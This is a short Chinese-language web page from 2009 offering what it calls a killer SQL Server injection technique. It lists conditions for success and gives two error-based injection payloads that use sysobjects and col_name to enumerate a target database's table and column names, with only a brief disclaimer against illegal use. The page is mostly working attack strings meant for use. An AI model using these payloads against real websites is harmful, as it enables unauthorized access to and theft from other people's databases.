安大互联
财经热点 > Asp编程 > SQLSERVER注入必殺技
SQLSERVER注入必殺技
浏览次数:【536】  发布日期:2009-8-13 12:09:22    文章分类:Asp编程   
专题:】 【
 
必殺技成功條件:
1.找到注入點
2.數據庫為SQLSERVER
3.IIS沒屏蔽錯誤提示

注:因必殺技是我研究N久的经验,經屡次改良,成功概率極高。請不要用於不合法用途上,否則後果自負。

[N] = 第N個表
ID=1 and (Select top 1 name from(Select top [N] id,name from sysobjects where xtype=char(85)) T order by id desc)>1

[T] = 表名
[N] = 第N個字段
ID=1 and (Select Top 1 col_name(object_id('[T]'),[N]) from sysobjects)>1

手机扫码浏览该文章
 ● 相关资讯专题
  • 网络建设业务咨询

   TEl:13626712526